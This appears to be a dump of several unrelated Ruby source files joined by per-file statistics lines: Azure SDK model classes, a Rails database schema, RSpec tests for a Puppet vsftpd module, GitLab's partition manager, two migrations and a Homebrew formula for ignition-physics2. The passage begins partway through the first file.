@return [Integer] The timeout for the TCP idle connection. The value # can be set between 4 and 30 minutes. The default value is 4 minutes. # This element is only used when the protocol is set to TCP. attr_accessor :idle_timeout_in_minutes # @return [Boolean] Configures a virtual machine's endpoint for the # floating IP capability required to configure a SQL AlwaysOn # Availability Group. This setting is required when using the SQL # AlwaysOn Availability Groups in SQL server. This setting can't be # changed after you create the endpoint. attr_accessor :enable_floating_ip # @return [Boolean] Receive bidirectional TCP Reset on TCP flow idle # timeout or unexpected connection termination. This element is only used # when the protocol is set to TCP. attr_accessor :enable_tcp_reset # @return [ProvisioningState] The provisioning state of the inbound NAT # pool resource. Possible values include: 'Succeeded', 'Updating', # 'Deleting', 'Failed' attr_accessor :provisioning_state # @return [String] The name of the resource that is unique within the set # of inbound NAT pools used by the load balancer. This name can be used # to access the resource. attr_accessor :name # @return [String] A unique read-only string that changes whenever the # resource is updated. attr_accessor :etag # @return [String] Type of the resource. attr_accessor :type # # Mapper for InboundNatPool class as Ruby Hash. # This will be used for serialization/deserialization. # def self.mapper() { client_side_validation: true, required: false, serialized_name: 'InboundNatPool', type: { name: 'Composite', class_name: 'InboundNatPool', model_properties: { id: { client_side_validation: true, required: false, serialized_name: 'id', type: { name: 'String' } }, frontend_ipconfiguration: { client_side_validation: true, required: false, serialized_name: 'properties.frontendIPConfiguration', type: { name: 'Composite', class_name: 'SubResource' } }, protocol: { client_side_validation: true, required: true, serialized_name: 'properties.protocol', type: { name: 'String' } }, frontend_port_range_start: { client_side_validation: true, required: true, serialized_name: 'properties.frontendPortRangeStart', type: { name: 'Number' } }, frontend_port_range_end: { client_side_validation: true, required: true, serialized_name: 'properties.frontendPortRangeEnd', type: { name: 'Number' } }, backend_port: { client_side_validation: true, required: true, serialized_name: 'properties.backendPort', type: { name: 'Number' } }, idle_timeout_in_minutes: { client_side_validation: true, required: false, serialized_name: 'properties.idleTimeoutInMinutes', type: { name: 'Number' } }, enable_floating_ip: { client_side_validation: true, required: false, serialized_name: 'properties.enableFloatingIP', type: { name: 'Boolean' } }, enable_tcp_reset: { client_side_validation: true, required: false, serialized_name: 'properties.enableTcpReset', type: { name: 'Boolean' } }, provisioning_state: { client_side_validation: true, required: false, read_only: true, serialized_name: 'properties.provisioningState', type: { name: 'String' } }, name: { client_side_validation: true, required: false, serialized_name: 'name', type: { name: 'String' } }, etag: { client_side_validation: true, required: false, read_only: true, serialized_name: 'etag', type: { name: 'String' } }, type: { client_side_validation: true, required: false, read_only: true, serialized_name: 'type', type: { name: 'String' } } } } } end end end end
34.39
79
0.53155
abdc7ade12d65cf36b7ca19883cbd3b25baf722f
10,761
# encoding: UTF-8 # This file is auto-generated from the current state of the database. Instead # of editing this file, please use the migrations feature of Active Record to # incrementally modify your database, and then regenerate this schema definition. # # Note that this schema.rb definition is the authoritative source for your # database schema. If you need to create the application database on another # system, you should be using db:schema:load, not running all the migrations # from scratch. The latter is a flawed and unsustainable approach (the more migrations # you'll amass, the slower it'll run and the greater likelihood for issues). # # It's strongly recommended to check this file into your version control system. ActiveRecord::Schema.define(:version => 20130630155628) do create_table "audits", :force => true do |t| t.integer "auditable_id" t.string "auditable_type" t.integer "associated_id" t.string "associated_type" t.integer "user_id" t.string "user_type" t.string "username" t.string "action" t.text "audited_changes" t.integer "version", :default => 0 t.string "comment" t.string "remote_address" t.datetime "created_at" end add_index "audits", ["associated_id", "associated_type"], :name => "associated_index" add_index "audits", ["auditable_id", "auditable_type"], :name => "auditable_index" add_index "audits", ["created_at"], :name => "index_audits_on_created_at" add_index "audits", ["user_id", "user_type"], :name => "user_index" create_table "contacts", :force => true do |t| t.string "name" t.string "department" t.string "cell_phone" t.string "hotel" t.integer "hotel_room" t.datetime "created_at", :null => false t.datetime "updated_at", :null => false t.boolean "can_text", :default => false t.string "position" end create_table "conventions", :force => true do |t| t.string "name" t.datetime "start_date" t.datetime "end_date" t.datetime "created_at", :null => false t.datetime "updated_at", :null => false end create_table "departments", :force => true do |t| t.string "name" t.integer "volunteer_id" t.integer "radio_group_id" t.integer "radio_allotment" t.datetime "created_at", :null => false t.datetime "updated_at", :null => false end create_table "duty_board_assignments", :force => true do |t| t.integer "duty_board_slot_id" t.string "notes" t.datetime "created_at", :null => false t.datetime "updated_at", :null => false t.string "name" t.string "string" end create_table "duty_board_groups", :force => true do |t| t.string "name" t.integer "row" t.integer "column" t.datetime "created_at", :null => false t.datetime "updated_at", :null => false end create_table "duty_board_slots", :force => true do |t| t.string "name" t.integer "duty_board_group_id" t.datetime "created_at", :null => false t.datetime "updated_at", :null => false end create_table "entries", :force => true do |t| t.text "description" t.datetime "created_at", :null => false t.datetime "updated_at", :null => false t.integer "user_id" t.integer "event_id" t.string "rolename" end create_table "event_flag_histories", :force => true do |t| t.integer "event_id" t.boolean "is_active", :default => false t.boolean "comment", :default => false t.boolean "flagged", :default => false t.boolean "post_con", :default => false t.boolean "quote", :default => false t.boolean "sticky", :default => false t.boolean "emergency", :default => false t.boolean "medical", :default => false t.boolean "hidden", :default => false t.boolean "secure", :default => false t.boolean "consuite", :default => false t.boolean "hotel", :default => false t.boolean "parties", :default => false t.boolean "volunteers", :default => false t.boolean "dealers", :default => false t.boolean "dock", :default => false t.boolean "merchandise", :default => false t.datetime "created_at", :null => false t.datetime "updated_at", :null => false t.integer "user_id" t.datetime "orig_time" t.string "rolename" t.boolean "merged" t.boolean "nerf_herders", :default => false end create_table "events", :force => true do |t| t.datetime "created_at", :null => false t.datetime "updated_at", :null => false t.boolean "is_active", :default => true t.boolean "comment", :default => false t.boolean "flagged", :default => false t.boolean "post_con", :default => false t.boolean "quote", :default => false t.boolean "sticky", :default => false t.boolean "emergency", :default => false t.boolean "medical", :default => false t.boolean "hidden", :default => false t.boolean "secure", :default => false t.boolean "consuite" t.boolean "hotel" t.boolean "parties" t.boolean "volunteers" t.boolean "dealers" t.boolean "dock" t.boolean "merchandise" t.string "merged_from_ids" t.boolean "merged" t.boolean "nerf_herders" end create_table "login_logs", :force => true do |t| t.string "user_name" t.string "role_name" t.string "comment" t.string "ip" t.datetime "created_at", :null => false t.datetime "updated_at", :null => false end create_table "lost_and_found_items", :force => true do |t| t.string "category" t.string "description" t.text "details" t.string "where_last_seen" t.string "where_found" t.string "owner_name" t.text "owner_contact" t.datetime "created_at", :null => false t.datetime "updated_at", :null => false t.boolean "found", :default => false t.boolean "returned", :default => false t.boolean "reported_missing", :default => false t.integer "user_id" t.string "rolename" t.string "who_claimed" end create_table "messages", :force => true do |t| t.string "for" t.string "phone_number" t.string "room_number" t.string "hotel" t.integer "user_id" t.text "message" t.boolean "is_active", :default => true t.datetime "created_at", :null => false t.datetime "updated_at", :null => false end create_table "radio_assignment_audits", :force => true do |t| t.integer "radio_id" t.integer "volunteer_id" t.string "state" t.datetime "created_at", :null => false t.datetime "updated_at", :null => false t.integer "user_id" t.integer "department_id" end create_table "radio_assignments", :force => true do |t| t.integer "radio_id" t.integer "volunteer_id" t.datetime "created_at", :null => false t.datetime "updated_at", :null => false t.integer "department_id" end create_table "radio_groups", :force => true do |t| t.string "name" t.string "color" t.text "notes" t.datetime "created_at", :null => false t.datetime "updated_at", :null => false end create_table "radios", :force => true do |t| t.string "number" t.string "notes" t.integer "radio_group_id" t.string "image_filename" t.datetime "created_at", :null => false t.datetime "updated_at", :null => false t.string "state", :default => "in" end create_table "roles", :force => true do |t| t.string "name" t.boolean "write_entries" t.boolean "read_hidden_entries" t.boolean "add_lost_and_found" t.boolean "modify_lost_and_found" t.boolean "admin_radios" t.boolean "assign_radios" t.boolean "admin_users" t.boolean "admin_schedule" t.boolean "assign_shifts" t.boolean "assign_duty_board_slots" t.boolean "admin_duty_board" t.datetime "created_at", :null => false t.datetime "updated_at", :null => false t.boolean "make_hidden_entries", :default => false t.boolean "rw_secure", :default => false t.boolean "read_audits", :default => false end create_table "roles_users", :id => false, :force => true do |t| t.integer "role_id" t.integer "user_id" end add_index "roles_users", ["role_id", "user_id"], :name => "index_roles_users_on_role_id_and_user_id", :unique => true create_table "users", :force => true do |t| t.string "name" t.string "realname" t.string "password_digest" t.datetime "created_at", :null => false t.datetime "updated_at", :null => false end add_index "users", ["name"], :name => "index_users_on_name", :unique => true create_table "volunteer_trainings", :force => true do |t| t.integer "volunteer_id" t.boolean "radio", :default => false t.boolean "ops_basics", :default => false t.boolean "first_contact", :default => false t.boolean "communications", :default => false t.boolean "dispatch", :default => false t.boolean "wandering_host", :default => false t.boolean "xo", :default => false t.boolean "ops_subhead", :default => false t.boolean "ops_head", :default => false t.datetime "created_at", :null => false t.datetime "updated_at", :null => false end create_table "volunteers", :force => true do |t| t.string "first_name" t.string "middle_name" t.string "last_name" t.string "address1" t.string "address2" t.string "address3" t.string "city" t.string "state" t.string "postal" t.string "country" t.string "home_phone" t.string "work_phone" t.string "other_phone" t.string "email" t.datetime "created_at", :null => false t.datetime "updated_at", :null => false t.integer "user_id" end create_table "vsps", :force => true do |t| t.string "name" t.boolean "party" t.string "notes" t.datetime "created_at", :null => false t.datetime "updated_at", :null => false end end
34.938312
119
0.598272
f7b0ced9a57f318ad82a16febfe02f02a6c537e3
2,234
# encoding: utf-8 # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. module Azure::Compute::Mgmt::V2019_07_01 module Models # # Information about rollback on failed VM instances after a OS Upgrade # operation. # class RollbackStatusInfo include MsRestAzure # @return [Integer] The number of instances which have been successfully # rolled back. attr_accessor :successfully_rolledback_instance_count # @return [Integer] The number of instances which failed to rollback. attr_accessor :failed_rolledback_instance_count # @return [ApiError] Error details if OS rollback failed. attr_accessor :rollback_error # # Mapper for RollbackStatusInfo class as Ruby Hash. # This will be used for serialization/deserialization. # def self.mapper() { client_side_validation: true, required: false, serialized_name: 'RollbackStatusInfo', type: { name: 'Composite', class_name: 'RollbackStatusInfo', model_properties: { successfully_rolledback_instance_count: { client_side_validation: true, required: false, read_only: true, serialized_name: 'successfullyRolledbackInstanceCount', type: { name: 'Number' } }, failed_rolledback_instance_count: { client_side_validation: true, required: false, read_only: true, serialized_name: 'failedRolledbackInstanceCount', type: { name: 'Number' } }, rollback_error: { client_side_validation: true, required: false, read_only: true, serialized_name: 'rollbackError', type: { name: 'Composite', class_name: 'ApiError' } } } } } end end end end
29.786667
78
0.553715
5dd8254a03d7fe7545eb476d3c147c80c8c3e9f6
9,604
require "#{File.join(File.dirname(__FILE__),'..','spec_helper.rb')}" describe 'vsftpd' do let(:title) { 'vsftpd' } let(:node) { 'rspec.example42.com' } let(:facts) { { :ipaddress => '10.42.42.42' , :monitor_tool => 'puppi' } } describe 'Test standard installation' do it { should contain_package('vsftpd').with_ensure('present') } it { should contain_service('vsftpd').with_ensure('running') } it { should contain_service('vsftpd').with_enable('true') } it { should contain_file('vsftpd.conf').with_ensure('present') } end describe 'Test installation of a specific version' do let(:params) { {:version => '1.0.42' } } it { should contain_package('vsftpd').with_ensure('1.0.42') } end describe 'Test standard installation with monitoring and firewalling' do let(:params) { {:monitor => true , :firewall => true, :port => '42', :protocol => 'tcp' } } it { should contain_package('vsftpd').with_ensure('present') } it { should contain_service('vsftpd').with_ensure('running') } it { should contain_service('vsftpd').with_enable('true') } it { should contain_file('vsftpd.conf').with_ensure('present') } it 'should monitor the process' do content = catalogue.resource('monitor::process', 'vsftpd_process').send(:parameters)[:enable] content.should == true end it 'should place a firewall rule' do content = catalogue.resource('firewall', 'vsftpd_tcp_42').send(:parameters)[:enable] content.should == true end end describe 'Test decommissioning - absent' do let(:params) { {:absent => true, :monitor => true , :firewall => true, :port => '42', :protocol => 'tcp'} } it 'should remove Package[vsftpd]' do should contain_package('vsftpd').with_ensure('absent') end it 'should stop Service[vsftpd]' do should contain_service('vsftpd').with_ensure('stopped') end it 'should not enable at boot Service[vsftpd]' do should contain_service('vsftpd').with_enable('false') end it 'should remove vsftpd configuration file' do should contain_file('vsftpd.conf').with_ensure('absent') end it 'should not monitor the process' do content = catalogue.resource('monitor::process', 'vsftpd_process').send(:parameters)[:enable] content.should == false end it 'should remove a firewall rule' do content = catalogue.resource('firewall', 'vsftpd_tcp_42').send(:parameters)[:enable] content.should == false end end describe 'Test decommissioning - disable' do let(:params) { {:disable => true, :monitor => true , :firewall => true, :port => '42', :protocol => 'tcp'} } it { should contain_package('vsftpd').with_ensure('present') } it 'should stop Service[vsftpd]' do should contain_service('vsftpd').with_ensure('stopped') end it 'should not enable at boot Service[vsftpd]' do should contain_service('vsftpd').with_enable('false') end it { should contain_file('vsftpd.conf').with_ensure('present') } it 'should not monitor the process' do content = catalogue.resource('monitor::process', 'vsftpd_process').send(:parameters)[:enable] content.should == false end it 'should remove a firewall rule' do content = catalogue.resource('firewall', 'vsftpd_tcp_42').send(:parameters)[:enable] content.should == false end end describe 'Test decommissioning - disableboot' do let(:params) { {:disableboot => true, :monitor => true , :firewall => true, :port => '42', :protocol => 'tcp'} } it { should contain_package('vsftpd').with_ensure('present') } it { should_not contain_service('vsftpd').with_ensure('present') } it { should_not contain_service('vsftpd').with_ensure('absent') } it 'should not enable at boot Service[vsftpd]' do should contain_service('vsftpd').with_enable('false') end it { should contain_file('vsftpd.conf').with_ensure('present') } it 'should not monitor the process locally' do content = catalogue.resource('monitor::process', 'vsftpd_process').send(:parameters)[:enable] content.should == false end it 'should keep a firewall rule' do content = catalogue.resource('firewall', 'vsftpd_tcp_42').send(:parameters)[:enable] content.should == true end end describe 'Test customizations - template' do let(:params) { {:template => "vsftpd/spec.erb" , :options => { 'opt_a' => 'value_a' } } } it 'should generate a valid template' do content = catalogue.resource('file', 'vsftpd.conf').send(:parameters)[:content] content.should match "fqdn: rspec.example42.com" end it 'should generate a template that uses custom options' do content = catalogue.resource('file', 'vsftpd.conf').send(:parameters)[:content] content.should match "value_a" end end describe 'Test customizations - source' do let(:params) { {:source => "puppet://modules/vsftpd/spec" , :source_dir => "puppet://modules/vsftpd/dir/spec" , :source_dir_purge => true } } it 'should request a valid source ' do content = catalogue.resource('file', 'vsftpd.conf').send(:parameters)[:source] content.should == "puppet://modules/vsftpd/spec" end it 'should request a valid source dir' do content = catalogue.resource('file', 'vsftpd.dir').send(:parameters)[:source] content.should == "puppet://modules/vsftpd/dir/spec" end it 'should purge source dir if source_dir_purge is true' do content = catalogue.resource('file', 'vsftpd.dir').send(:parameters)[:purge] content.should == true end end describe 'Test customizations - custom class' do let(:params) { {:my_class => "vsftpd::spec" } } it 'should automatically include a custom class' do content = catalogue.resource('file', 'vsftpd.conf').send(:parameters)[:content] content.should match "fqdn: rspec.example42.com" end end describe 'Test service autorestart' do it { should contain_file('vsftpd.conf').with_notify('Service[vsftpd]') } end describe 'Test service autorestart' do let(:params) { {:service_autorestart => "no" } } it 'should not automatically restart the service, when service_autorestart => false' do content = catalogue.resource('file', 'vsftpd.conf').send(:parameters)[:notify] content.should be_nil end end describe 'Test Puppi Integration' do let(:params) { {:puppi => true, :puppi_helper => "myhelper"} } it 'should generate a puppi::ze define' do content = catalogue.resource('puppi::ze', 'vsftpd').send(:parameters)[:helper] content.should == "myhelper" end end describe 'Test Monitoring Tools Integration' do let(:params) { {:monitor => true, :monitor_tool => "puppi" } } it 'should generate monitor defines' do content = catalogue.resource('monitor::process', 'vsftpd_process').send(:parameters)[:tool] content.should == "puppi" end end describe 'Test Firewall Tools Integration' do let(:params) { {:firewall => true, :firewall_tool => "iptables" , :protocol => "tcp" , :port => "42" } } it 'should generate correct firewall define' do content = catalogue.resource('firewall', 'vsftpd_tcp_42').send(:parameters)[:tool] content.should == "iptables" end end describe 'Test OldGen Module Set Integration' do let(:params) { {:monitor => "yes" , :monitor_tool => "puppi" , :firewall => "yes" , :firewall_tool => "iptables" , :puppi => "yes" , :port => "42" , :protocol => 'tcp' } } it 'should generate monitor resources' do content = catalogue.resource('monitor::process', 'vsftpd_process').send(:parameters)[:tool] content.should == "puppi" end it 'should generate firewall resources' do content = catalogue.resource('firewall', 'vsftpd_tcp_42').send(:parameters)[:tool] content.should == "iptables" end it 'should generate puppi resources ' do content = catalogue.resource('puppi::ze', 'vsftpd').send(:parameters)[:ensure] content.should == "present" end end describe 'Test params lookup' do let(:facts) { { :monitor => true , :ipaddress => '10.42.42.42' } } let(:params) { { :port => '42' , :monitor_tool => 'puppi' } } it 'should honour top scope global vars' do content = catalogue.resource('monitor::process', 'vsftpd_process').send(:parameters)[:enable] content.should == true end end describe 'Test params lookup' do let(:facts) { { :vsftpd_monitor => true , :ipaddress => '10.42.42.42' } } let(:params) { { :port => '42' , :monitor_tool => 'puppi' } } it 'should honour module specific vars' do content = catalogue.resource('monitor::process', 'vsftpd_process').send(:parameters)[:enable] content.should == true end end describe 'Test params lookup' do let(:facts) { { :monitor => false , :vsftpd_monitor => true , :ipaddress => '10.42.42.42' } } let(:params) { { :port => '42' , :monitor_tool => 'puppi' } } it 'should honour top scope module specific over global vars' do content = catalogue.resource('monitor::process', 'vsftpd_process').send(:parameters)[:enable] content.should == true end end describe 'Test params lookup' do let(:facts) { { :monitor => false , :ipaddress => '10.42.42.42' } } let(:params) { { :monitor => true , :firewall => true, :port => '42' , :monitor_tool => 'puppi' } } it 'should honour passed params over global vars' do content = catalogue.resource('monitor::process', 'vsftpd_process').send(:parameters)[:enable] content.should == true end end end
42.122807
175
0.661183
03f81c487ad5b0ec65fe6c194225060ecdf51c7d
252
require 'test_helper' class SynchronizeControllerTest < ActionController::TestCase test "should get step_1" do get :step_1 assert_response :success end test "should get step_2" do get :step_2 assert_response :success end end
16.8
60
0.734127
ab414f91169d7aa4628f5415c8d5a1fa3dbe5244
5,007
# frozen_string_literal: true module Gitlab module Database module Partitioning class PartitionManager UnsafeToDetachPartitionError = Class.new(StandardError) LEASE_TIMEOUT = 1.minute MANAGEMENT_LEASE_KEY = 'database_partition_management_%s' RETAIN_DETACHED_PARTITIONS_FOR = 1.week def initialize(model) @model = model @connection_name = model.connection.pool.db_config.name end def sync_partitions Gitlab::AppLogger.info( message: "Checking state of dynamic postgres partitions", table_name: model.table_name, connection_name: @connection_name ) # Double-checking before getting the lease: # The prevailing situation is no missing partitions and no extra partitions return if missing_partitions.empty? && extra_partitions.empty? only_with_exclusive_lease(model, lease_key: MANAGEMENT_LEASE_KEY) do partitions_to_create = missing_partitions create(partitions_to_create) unless partitions_to_create.empty? partitions_to_detach = extra_partitions detach(partitions_to_detach) unless partitions_to_detach.empty? end rescue StandardError => e Gitlab::AppLogger.error( message: "Failed to create / detach partition(s)", table_name: model.table_name, exception_class: e.class, exception_message: e.message, connection_name: @connection_name ) end private attr_reader :model delegate :connection, to: :model def missing_partitions return [] unless connection.table_exists?(model.table_name) model.partitioning_strategy.missing_partitions end def extra_partitions return [] unless connection.table_exists?(model.table_name) model.partitioning_strategy.extra_partitions end def only_with_exclusive_lease(model, lease_key:) lease = Gitlab::ExclusiveLease.new(lease_key % model.table_name, timeout: LEASE_TIMEOUT) yield if lease.try_obtain ensure lease&.cancel end def create(partitions) # with_lock_retries starts a requires_new transaction most of the time, but not on the last iteration with_lock_retries do connection.transaction(requires_new: false) do # so we open a transaction here if not already in progress # Partitions might not get created (IF NOT EXISTS) so explicit locking will not happen. # This LOCK TABLE ensures to have exclusive lock as the first step. connection.execute "LOCK TABLE #{connection.quote_table_name(model.table_name)} IN ACCESS EXCLUSIVE MODE" partitions.each do |partition| connection.execute partition.to_sql Gitlab::AppLogger.info(message: "Created partition", partition_name: partition.partition_name, table_name: partition.table) end model.partitioning_strategy.after_adding_partitions end end end def detach(partitions) # with_lock_retries starts a requires_new transaction most of the time, but not on the last iteration with_lock_retries do connection.transaction(requires_new: false) do # so we open a transaction here if not already in progress partitions.each { |p| detach_one_partition(p) } end end end def detach_one_partition(partition) assert_partition_detachable!(partition) connection.execute partition.to_detach_sql Postgresql::DetachedPartition.create!(table_name: partition.partition_name, drop_after: RETAIN_DETACHED_PARTITIONS_FOR.from_now) Gitlab::AppLogger.info( message: "Detached Partition", partition_name: partition.partition_name, table_name: partition.table, connection_name: @connection_name ) end def assert_partition_detachable!(partition) parent_table_identifier = "#{connection.current_schema}.#{partition.table}" if (example_fk = PostgresForeignKey.by_referenced_table_identifier(parent_table_identifier).first) raise UnsafeToDetachPartitionError, "Cannot detach #{partition.partition_name}, it would block while checking foreign key #{example_fk.name} on #{example_fk.constrained_table_identifier}" end end def with_lock_retries(&block) Gitlab::Database::WithLockRetries.new( klass: self.class, logger: Gitlab::AppLogger, connection: connection ).run(&block) end end end end end
36.816176
199
0.642101
6a8dd5c86dc6e70ac948ed043877c71d14f76ddf
496
Gem::Specification.new do |s| s.name = "useragent" s.version = "0.16.11" s.homepage = "https://github.com/gshutler/useragent" s.summary = "HTTP User Agent parser" s.description = "HTTP User Agent parser" s.files = Dir["LICENSE", "README.md", "lib/**/*.rb"] s.add_development_dependency "rake", "~> 10.0" s.add_development_dependency "rspec", "~> 3.0" s.authors = ["Joshua Peek", "Garry Shutler"] s.email = "[email protected]" s.license = "MIT" end
27.555556
57
0.639113
ac4d2a9f0df66cbd8f91bfeadd020035d728febe
2,142
require 'rubygems' require 'spec' require File.expand_path(File.dirname(__FILE__) + '/../lib/kraken.rb') require File.expand_path(File.dirname(__FILE__) + '/../lib/master_database.rb') describe Kraken do before(:each) do Search.delete_all BotQueue.delete_all @kraken = Kraken.new end it "should load all the bot park" do @kraken.bot_park.should == {"followers"=>1, "online_media"=>1, "artificial_inteligence"=>2, "facebook"=>1, "viral_network"=>1, "twitter"=>3} end it "need to get the first search" do Search.create(:next_time => DateTime.now + 3.minutes, :mining_term_id => 3553, :bot_type => 'twitter') Search.create(:next_time => DateTime.now + 4.minutes, :mining_term_id => 3554, :bot_type => 'twitter') search = Search.create(:next_time => DateTime.now - 5.minutes, :mining_term_id => 3555, :bot_type => 'twitter') @kraken.start_all @kraken.searchs.first.should == search end it "need to get search when next_time is null" do Search.create(:next_time => DateTime.now + 3.minutes, :mining_term_id => 3553, :bot_type => 'twitter') Search.create(:next_time => DateTime.now + 4.minutes, :mining_term_id => 3554, :bot_type => 'twitter') Search.create(:next_time => DateTime.now - 5.minutes, :mining_term_id => 3555, :bot_type => 'twitter') search = Search.create( :mining_term_id => 3552, :bot_type => 'twitter') @kraken.start_all @kraken.searchs.last.should == search end it "can't schedule a search then exist in a queue" do search = Search.create(:next_time => DateTime.now - 3.minutes, :mining_term_id => 3553, :bot_type => 'twitter') aux = Search.create(:next_time => DateTime.now - 4.minutes, :mining_term_id => 3554, :bot_type => 'twitter') BotQueue.create(:search_id => aux.id, :bot_type => 'twitter') aux = Search.create(:next_time => DateTime.now - 5.minutes, :mining_term_id => 3555, :bot_type => 'twitter') BotQueue.create(:search_id => aux.id, :bot_type => 'twitter') @kraken.start_all @kraken.bqueue.search_id.should == search.id end it "need to guarantee mining frequence and balance" do end end
36.931034
145
0.682073
114bf5dcac3f77229c1b7c21295c59bcfde72f59
2,556
# == Schema Information # # Table name: shipping_rates # # id :integer(4) not null, primary key # shipping_method_id :integer(4) not null # rate :decimal(8, 2) default(0.0), not null # shipping_rate_type_id :integer(4) not null # shipping_category_id :integer(4) not null # minimum_charge :decimal(8, 2) default(0.0), not null # position :integer(4) # active :boolean(1) default(TRUE) # created_at :datetime # updated_at :datetime # class ShippingRate < ActiveRecord::Base include ActionView::Helpers::NumberHelper belongs_to :shipping_method belongs_to :shipping_rate_type belongs_to :shipping_category has_many :products validates :rate, presence: true, numericality: true validates :shipping_method_id, presence: true validates :shipping_rate_type_id, presence: true validates :shipping_category_id, presence: true scope :with_these_shipping_methods, lambda { |shipping_rate_ids, shipping_method_ids| where("shipping_rates.id IN (?)", shipping_rate_ids). where("shipping_rates.shipping_method_id IN (?)", shipping_method_ids) } MONTHLY_BILLING_RATE_ID = 1 # determines if the shippng rate should be calculated individually # # @param [none] # @return [ Boolean ] def individual? shipping_rate_type_id == ShippingRateType::INDIVIDUAL_ID end # the shipping method name, shipping zone and sub_name # ex. '3 to 5 day UPS, International, Individual - 5.50' # # @param [none] # @return [ String ] def name [shipping_method.name, shipping_method.shipping_zone.name, sub_name].join(', ') end # the shipping rate type and $$$ rate separated by ' - ' # ex. 'Individual - 5.50' # # @param [none] # @return [ String ] def sub_name '(' + [shipping_rate_type.name, rate ].join(' - ') + ')' end # the shipping method name, and $$$ rate # ex. '3 to 5 day UPS - $5.50' # # @param [none] # @return [ String ] def name_rate_min [name_with_rate, "(min order => #{minimum_charge})" ].join(' ') end # the shipping method name, and $$$ rate # ex. '3 to 5 day UPS - $5.50' # # @param [none] # @return [ String ] def name_with_rate [shipping_method.name, charge_amount].compact.join(' - ') end private def charge_amount number_to_currency(rate) + per_item_verbage end def per_item_verbage individual? ? ' / item' : '' end end
27.782609
87
0.637715
7a2113946058e86cd6fe5c5e141c2be598acb08b
365
class SorceryUserActivation < ActiveRecord::Migration[5.2] def change add_column :morpho_users, :activation_state, :string, :default => nil add_column :morpho_users, :activation_token, :string, :default => nil add_column :morpho_users, :activation_token_expires_at, :datetime, :default => nil add_index :morpho_users, :activation_token end end
36.5
86
0.756164
61faf3e48d2312179fefe73821c67c84c4ce131d
227
class IncreaseCryptedPasswordLength < ActiveRecord::Migration def up change_column :users, :crypted_password, :string, limit: 64 end def down change_column :users, :crypted_password, :string, limit: 40 end end
22.7
63
0.748899
f8b5d27d0f9a1876336c34764872281ce6113998
2,569
class IgnitionPhysics2 < Formula desc "Physics library for robotics applications" homepage "https://github.com/ignitionrobotics/ign-physics" url "https://osrf-distributions.s3.amazonaws.com/ign-physics/releases/ignition-physics2-2.5.0.tar.bz2" sha256 "a15f1e2c6f23cd3ce6dd284a2d1b9a6317dc188b62d960aec4c26112abcdfcaf" license "Apache-2.0" bottle do root_url "https://osrf-distributions.s3.amazonaws.com/bottles-simulation" sha256 cellar: :any, catalina: "4198795e2d952f538f77d5e6deecfbe45719e2806111ed38719ee01533315d09" end depends_on "cmake" => :build depends_on "bullet" depends_on "[email protected]" depends_on "google-benchmark" depends_on "ignition-cmake2" depends_on "ignition-common3" depends_on "ignition-math6" depends_on "ignition-plugin1" depends_on macos: :mojave # c++17 depends_on "pkg-config" depends_on "sdformat9" def install cmake_args = std_cmake_args cmake_args << "-DBUILD_TESTING=Off" cmake_args << "-DCMAKE_INSTALL_RPATH=#{rpath}" system "cmake", ".", *cmake_args system "make", "install" end test do (testpath/"test.cpp").write <<-EOS #include "ignition/plugin/Loader.hh" #include "ignition/physics/ConstructEmpty.hh" #include "ignition/physics/RequestEngine.hh" int main() { ignition::plugin::Loader loader; loader.LoadLib("#{opt_lib}/libignition-physics2-dartsim-plugin.dylib"); ignition::plugin::PluginPtr dartsim = loader.Instantiate("ignition::physics::dartsim::Plugin"); using featureList = ignition::physics::FeatureList< ignition::physics::ConstructEmptyWorldFeature>; auto engine = ignition::physics::RequestEngine3d<featureList>::From(dartsim); return engine == nullptr; } EOS system "pkg-config", "ignition-physics2" cflags = `pkg-config --cflags ignition-physics2`.split ldflags = `pkg-config --libs ignition-physics2`.split system "pkg-config", "ignition-plugin1-loader" loader_cflags = `pkg-config --cflags ignition-plugin1-loader`.split loader_ldflags = `pkg-config --libs ignition-plugin1-loader`.split system ENV.cc, "test.cpp", *cflags, *ldflags, *loader_cflags, *loader_ldflags, "-lc++", "-o", "test" system "./test" # check for Xcode frameworks in bottle cmd_not_grep_xcode = "! grep -rnI 'Applications[/]Xcode' #{prefix}" system cmd_not_grep_xcode end end
36.183099
104
0.672246
f8897ab57356057ed0d01228ca28ad320e55a02e
1,394
=begin #Datadog API V1 Collection #Collection of all Datadog Public endpoints. The version of the OpenAPI document: 1.0 Contact: [email protected] Generated by: https://openapi-generator.tech Unless explicitly stated otherwise all files in this repository are licensed under the Apache-2.0 License. This product includes software developed at Datadog (https://www.datadoghq.com/). Copyright 2020-Present Datadog, Inc. =end require 'spec_helper' require 'json' require 'date' # Unit tests for DatadogAPIClient::V1::SlackIntegrationChannel # Automatically generated by openapi-generator (https://openapi-generator.tech) # Please update as you see appropriate describe DatadogAPIClient::V1::SlackIntegrationChannel do let(:instance) { DatadogAPIClient::V1::SlackIntegrationChannel.new } describe 'test an instance of SlackIntegrationChannel' do it 'should create an instance of SlackIntegrationChannel' do expect(instance).to be_instance_of(DatadogAPIClient::V1::SlackIntegrationChannel) end end describe 'test attribute "display"' do it 'should work' do # assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers end end describe 'test attribute "name"' do it 'should work' do # assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers end end end
31.681818
107
0.768293
91fb1c95ff4e5b79ab1361f15f7f15a2fbbdf5f8
85
When %r(^I run nodespec with "([^"]*)"$) do |args| When "I run `node #{args}`" end
21.25
50
0.541176
187274ce346ba2588cb4bf9ba0df578ff1a7ed18
240
# frozen_string_literal: true class RenameBooleanFormVersionCols < ActiveRecord::Migration[5.2] def change rename_column :form_versions, :is_current, :current rename_column :form_versions, :is_oldest_accepted, :minimum end end
26.666667
65
0.791667
e9f8eee0f07f536869128062aa9260d6ead01efd
40
module IOStruct VERSION = "0.0.4" end
10
19
0.675
1d0aca97c37ff8c33ddf7e147b10407b1a81f904
117
class WorkGeographicLocation < ActiveRecord::Base include ScamsModels::Concerns::Models::WorkGeographicLocation end
39
63
0.854701
d53edac49464aa744846b0918147d796765c6247
34
module SwapReservationsHelper end
11.333333
29
0.911765
33e068d59e991d5aeab4255f89efe4d429780417
1,208
